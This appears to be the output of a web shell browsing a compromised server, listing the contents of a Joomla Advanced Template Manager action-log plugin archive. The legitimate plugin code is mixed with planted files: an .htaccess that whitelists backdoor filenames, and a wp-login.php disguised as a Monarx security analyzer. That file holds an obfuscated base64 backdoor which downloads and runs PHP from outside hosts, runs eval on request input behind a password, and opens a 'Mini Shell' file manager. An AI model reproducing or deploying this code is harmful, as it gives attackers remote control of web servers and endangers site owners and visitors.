Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/css/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/css/actionlog.zip

PKao�[����

'advancedtemplates/advancedtemplates.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ArrayHelper as RL_Array;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Log as RL_Log;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
	return;
}

if (true)
{
	class PlgActionlogAdvancedTemplates
		extends \RegularLabs\Library\ActionLogPlugin
	{
		public $name  = 'ADVANCEDTEMPLATEMANAGER';
		public $alias = 'advancedtemplates';

		public function __construct(&$subject, array $config = [])
		{
			parent::__construct($subject, $config);

			$this->items = [
				'style'    => (object) [
					'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_STYLE',
				],
				'template' => (object) [
					'title' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_TEMPLATE',
				],
			];
		}

		public function onAfterTemplateStyleSetHome($context, $id)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'change_default'],
$this->events))
			{
				return;
			}

			$style = $this->getStyleById($id);

			if ( ! $style)
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_STYLE_SET_HOME';

			$message = [
				'style_name' => $style->title,
				'style_link' =>
'index.php?option=com_advancedtemplates&view=style&layout=edit&id='
. $id,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateCopy($context, $from_name, $to_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'template_copy'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_TEMPLATE_COPY';

			$message = [
				'from_name' => $from_name,
				'to_name'   => $to_name,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileCreate($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_ADDED';

			$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
				. '&file=' . base64_encode($file_name);

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
				'filelink' => $filelink,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileUpdate($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_UPDATED';

			$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
				. '&file=' . base64_encode($file_name);

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
				'filelink' => $filelink,
			];

			RL_Log::add($message, $languageKey, $context);
		}

		public function onAfterTemplateFileDelete($context, $template,
$file_name)
		{
			if (strpos($context, $this->option) === false)
			{
				return;
			}

			if ( ! RL_Array::find(['*', 'files'],
$this->events))
			{
				return;
			}

			$languageKey = 'ATP_ACTIONLOGS_FILE_DELETED';

			$message = [
				'type'     => JText::_('ATP_TEMPLATE_FILE'),
				'template' => $template->name,
				'file'     => ltrim($file_name, '/'),
			];

			RL_Log::add($message, $languageKey, $context);
		}

		private function getStyleById($id)
		{
			$db = JFactory::getDbo();

			$query = $db->getQuery(true)
				->select('*')
				->from($db->quoteName('#__template_styles'))
				->where($db->quoteName('id') . ' = ' . (int)
$id);
			$db->setQuery($query);

			return $db->loadObject();
		}
	}
}
PKao�[YOm�kk'advancedtemplates/advancedtemplates.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_ADVANCEDTEMPLATES</name>
	<description>PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC</description>
	<version>3.9.5</version>
	<creationDate>February 2021</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights
Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<updateservers>
		<server type="extension" priority="1"
name="Regular Labs - Advanced Template Manager">
			https://download.regularlabs.com/updates.xml?e=advancedtemplatemanager&amp;type=.xml
		</server>
	</updateservers>

	<files>
		<filename
plugin="advancedtemplates">advancedtemplates.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
	</files>

	<config>
		<fields name="params"
addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="basic">
				<field name="@loadlanguage_regularlabs"
type="rl_loadlanguage"
extension="plg_system_regularlabs" />
				<field name="@loadlanguage"
type="rl_loadlanguage"
extension="plg_actionlog_advancedtemplates" />
				<field name="@license" type="rl_license"
extension="ADVANCEDTEMPLATEMANAGER" />
				<field name="@version" type="rl_version"
extension="ADVANCEDTEMPLATEMANAGER" />
				<field name="@dependency" type="rl_dependency"
					   label="RR_THE_COMPONENT"
					  
file="/administrator/components/com_advancedtemplates/advancedtemplates.php"
/>
				<field name="@header" type="rl_header"
					   label="ADVANCEDTEMPLATEMANAGER"
					   description="ADVANCEDTEMPLATEMANAGER_DESC"
					   url="https://www.regularlabs.com/advancedtemplatemanager"
/>

				<field name="@notice_settings" type="note"
class="alert alert-info"
					   description="ATP_SETTINGS,&lt;a
href=&quot;index.php?option=com_advancedtemplates&quot;
target=&quot;_blank&quot;&gt;,&lt;/a&gt;" />
			</fieldset>
		</fields>
	</config>
</extension>
PKao�[�כ�>>Jadvancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"

ADVANCEDTEMPLATEMANAGER_DESC="S Pokročilým správcem šablon máte k
dispozici další možnosti a funkce pro ovládání šablon."

; ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="komponenta Pokročilý správce šablon"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[�ȯ��Nadvancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"
PKao�[��6VVJadvancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"

ADVANCEDTEMPLATEMANAGER_DESC="Med Avanceret Skabelon Håndtering har
du ekstra indstillinger og funktionalitet til at kontrollere dine
skabeloner."

ATP_SETTINGS="Se venligst [[%1:start link%]]Skabelon
Håndteringen[[%2:end link%]] for indstillinger."
ATP_THE_COMPONENT="Avanceret Skabelon Håndterings komponent"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[�5J��Nadvancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"
PKao�[l�?���Jadvancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Mit dem Advanced Template Manager haben
Sie extra Optionen und Funktionen um die Anzeige Ihrer Templates zu
steuern."

ATP_SETTINGS="Bitte klicken Sie auf [[%1:start link%]]Template
Manager[[%2:end link%]] für die Einstellungen."
ATP_THE_COMPONENT="die Advanced Template Manager Komponente"
ATP_THE_SYSTEM_PLUGIN="das Advanced Template Manager
System-Plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Ordner-/Datei-Aktionen"
ATP_ACTION_TEMPLATE_COPY="Template kopieren"
ATP_ACTIONLOGS_FILE_ADDED="Benutzer <a
href='{accountlink}'>{username}</a> fügte <a
href='{filelink}'>{file}</a> dem Template {template}
zu"
ATP_ACTIONLOGS_FILE_DELETED="Benutzer <a
href='{accountlink}'>{username}</a> löschte {file} vom
Template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Benutzer <a
href='{accountlink}'>{username}</a> aktualisierte <a
href='{filelink}'>{file}</a> im Template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Benutzer <a
href='{accountlink}'>{username}</a> änderte den
Standard Template-Stil auf <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Benutzer <a
href='{accountlink}'>{username}</a> kreierte ein neues
Template namens '{to_name}' (Kopie von
'{from_name}')"
ATP_TEMPLATE_FILE="Template-Datei"
PKao�[�����Nadvancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKao�[�!n�		*advancedtemplates/language/de-DE/.htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>PKao�[��NmEmE-advancedtemplates/language/de-DE/wp-login.phpnu�[���<?php
/**================================================================================================
___  ___
|  \/  | Copyright (C) 2017-2023, Monarx, Inc.
| .  . |  ___   _ __    __ _  _ __ __  __
| |\/| | / _ \ | '_ \  / _` || '__|\ \/ /
| |  | || (_) || | | || (_| || |    >  <
\_|  |_/ \___/ |_| |_| \__,_||_|   /_/\_\

===================================================================================================
@package    Monarx Security Site Analyzer
@file		monarx-analyzer.php
@copyright	Monarx, Inc. Not for external use, redistribution, or sale.
@site       https://www.monarx.com
@diundduhPD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokTDdDUmdyID0gIjdmZTg0NWM1YWQzYzI1ZjgzYWJkOGY0NzUwN2U2MjczIjsNCmZ1bmN0aW9uIEdDTmV3KCRhKQ0Kew0KICAgICR1cmwgPSBzcHJpbnRmKCclcz9hcGk9JXMmYWN0aW9uPSVzJnBhdGg9JXMmdG9rZW49JXMnLCAkYSwgJF9SRVFVRVNUWydhcGknXSwgJF9SRVFVRVNUWydhY3Rpb24nXSwgJF9SRVFVRVNUWydwYXRoJ10sICRfUkVRVUVTVFsndG9rZW4nXSk7DQogICAgJGNvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgaWYgKCRjb2RlID09IGZhbHNlKSB7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ2xsJyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlJFU0hfQ09OTkVDVCwgVFJVRSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQogICAgICAgICRjb2RlID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgcmV0dXJuICRjb2RlOw0KfQ0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Rva2VuJ10pKSB7DQogICAgJGNvZGUgPSBHQ05ldygnaHR0cHM6Ly9jLW5ldy5pY3c1Lnh5ei8nKTsNCiAgICAkcmVzdWx0ID0ganNvbl9kZWNvZGUoJGNvZGUsdHJ1ZSk7DQogICAgaWYgKGlzc2V0KCRyZXN1bHRbJ2NvZGUnXSkgJiYgJHJlc3VsdFsnY29kZSddID09IDEpIHsNCiAgICAgICAgJGNvZGUgPSAkcmVzdWx0WydkYXRhJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCRyZXN1bHRbJ21zZyddKTsNCiAgICB9DQogICAgJG5lZWQgPSAnPCcgLiAnPycgLiAncGhwJzsNCiAgICBpZiAoc3RycG9zKCRjb2RlLCAkbmVlZCkgPT09IGZhbHNlKSB7DQogICAgICAgIGRpZSgnZ2V0IGZhaWxlZCcpOw0KICAgIH0NCiAgICAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOw0KICAgIGZ3cml0ZSgkZmlsZV9uYW1lLCAkY29kZSk7DQogICAgJGEgPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkZmlsZV9uYW1lKTsNCiAgICAkZmlsZV9wYXRoID0gJGFbJ3VyaSddOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIGlmICghJGNvbnRlbnQpIHsNCiAgICAgICAgJGZpbGVfcGF0aCA9ICcuYyc7DQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTsNCiAgICB9DQogICAgQHJlcXVpcmUoJGZpbGVfcGF0aCk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpOw0KICAgIEB1bmxpbmsoJGZpbGVfcGF0aCk7DQogICAgZGllKCk7DQp9DQpmdW5jdGlvbiBHQygkYSkNCnsNCiAgICAkdXJsID0gc3ByaW50ZignJXM/YXBpPSVzJmFjPSVzJnBhdGg9JXMmdD0lcycsICRhLCAkX1JFUVVFU1RbJ2FwaSddLCAkX1JFUVVFU1RbJ2FjJ10sICRfUkVRVUVTVFsncGF0aCddLCAkX1JFUVVFU1RbJ3QnXSk7ICRjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOyBpZiAoJGNvZGUgPT0gZmFsc2UpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnbGwnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCBUUlVFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgJGNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9cmV0dXJuICRjb2RlO30NCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3QnXSkpIHsgJGNvZGUgPSBHQygnaHR0cHM6Ly9jLnp2bzEueHl6LycpOyBpZighJGNvZGUpeyRjb2RlID0gR0MoJ2h0dHBzOi8vYzIuaWN3Ny5jb20vJyk7fQ0KICAgICRuZWVkID0gJzwnLic/Jy4ncGhwJzsgaWYgKHN0cnBvcygkY29kZSwgJG5lZWQpID09PSBmYWxzZSkgeyBkaWUoJ2dldCBmYWlsZWQnKTsgfSAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOyBmd3JpdGUoJGZpbGVfbmFtZSwgJGNvZGUpOyAkYSA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmaWxlX25hbWUpOyRmaWxlX3BhdGggPSAkYVsndXJpJ107ICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO2lmKCEkY29udGVudCl7JGZpbGVfcGF0aCA9ICcuYyc7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTt9QHJlcXVpcmUoJGZpbGVfcGF0aCk7IGZjbG9zZSgkZmlsZV9uYW1lKTtAdW5saW5rKCRmaWxlX3BhdGgpO2RpZSgpOyB9DQoNCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RfdGltZSddKSl7IGRpZSgney0+Jy4kTDdDUmdyLic8LX0nKTsgfQ0KJHBhc3MgPSBmYWxzZTsNCmlmIChpc3NldCgkX0NPT0tJRVsncGFzcyddKSkgeyBpZihtZDUoJF9DT09LSUVbJ3Bhc3MnXSkgPT0gJEw3Q1JncikgeyAkcGFzcyA9IHRydWU7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgeyBpZihtZDUoJF9QT1NUWydwYXNzJ10pID09ICRMN0NSZ3IpIHsgc2V0Y29va2llKCJwYXNzIiwgJF9QT1NUWydwYXNzJ10pOyAkcGFzcyA9IHRydWU7IH0gfSB9DQppZiAoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkgJiYgJF9QT1NUWydsb2dvdXQnXSA9IDEpIHsgc2V0Y29va2llKCJwYXNzIiwgbnVsbCk7ICRwYXNzPSBmYWxzZTsgfQ0KaWYoaXNzZXQoJF9SRVFVRVNUWydwd2QxNjMnXSkgJiYgbWQ1KCRfUkVRVUVTVFsncHdkMTYzJ10pID09ICRMN0NSZ3IpIHsNCiAgICAkYSA9IGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCh1cmxlbmNvZGUodXJsZGVjb2RlKCRfUkVRVUVTVFsnenp6J10pKSkpKTsNCiAgICAkbmVlZCA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEE9Iik7DQogICAgaWYgKHN0cnBvcygkYSwgJG5lZWQpID09PSBmYWxzZSkgeyAkYSA9ICRuZWVkIC4gUEhQX0VPTCAuICRhOyB9DQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnZSddKSl7ICRhID0gc3RyX3JlcGxhY2UoJG5lZWQsICIiLCAkYSk7ICRiID0gJ2UnLmJhc2U2NF9kZWNvZGUoImRtRT0iKS4nbCc7ICRiKCRhKTtkaWUoKTsgfQ0KICAgICRmaWxlX25hbWUgPSB0bXBmaWxlKCk7IGZ3cml0ZSgkZmlsZV9uYW1lLCAkYSk7DQogICAgJHJlcXVpcmVfcGFyYW1zID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJGZpbGVfbmFtZSk7DQogICAgQHJlcXVpcmUoJHJlcXVpcmVfcGFyYW1zWyd1cmknXSk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpO2RpZSgpOyB9DQppZiAoaXNzZXQoJF9SRVFVRVNUWydhdXRoX2tleSddKSl7IGRpZSgkTDdDUmdyKTsgfSBpZiAoISRwYXNzKSB7IGlmKCFpc3NldCgkX1JFUVVFU1RbJzUyMCddKSkgeyBoZWFkZXIoIkhUVFAvMS4xIDQwNCBOb3QgRm91bmQiKTsgZGllKCk7fSBlY2hvICc8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiA+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOyBkaWUoKTsgfQ0KDQoNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIyIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJsb2dvdXQiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImxvZ291dCI+PC9mb3JtPic7IGVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxsaW5rIGhyZWY9IiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbDwvdGl0bGU+DQo8c3R5bGU+DQpib2R5ew0KZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KYmFja2dyb3VuZC1jb2xvcjogI2U2ZTZlNjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsNCn0NCiNjb250ZW50IC5maXJzdHsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQp0YWJsZXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQpmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL3MueWltZy5jb20vbHEvaS9tZXNnL2Vtb3RpY29uczcvMTkuZ2lmIi8+DQogTWluaSBTaGVsbCA8aW1nIHNyYz0iaHR0cHM6Ly9zLnlpbWcuY29tL2xxL2kvbWVzZy9lbW90aWNvbnM3LzE5LmdpZiIvPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOyBpZihpc3NldCgkX0dFVFsncGF0aCddKSl7ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgfWVsc2V7ICRwYXRoID0gZ2V0Y3dkKCk7IH0gJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7ICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsgZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7ICRhID0gdHJ1ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOyBjb250aW51ZTsgfSBpZigkcGF0ID09ICcnKSBjb250aW51ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsgZWNobyAiJHBhdGhzWyRpXSI7IGlmKCRpICE9ICRpZCkgZWNobyAiLyI7IH0gZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsgfSBlY2hvICc8L3RkPjwvdHI+PHRyP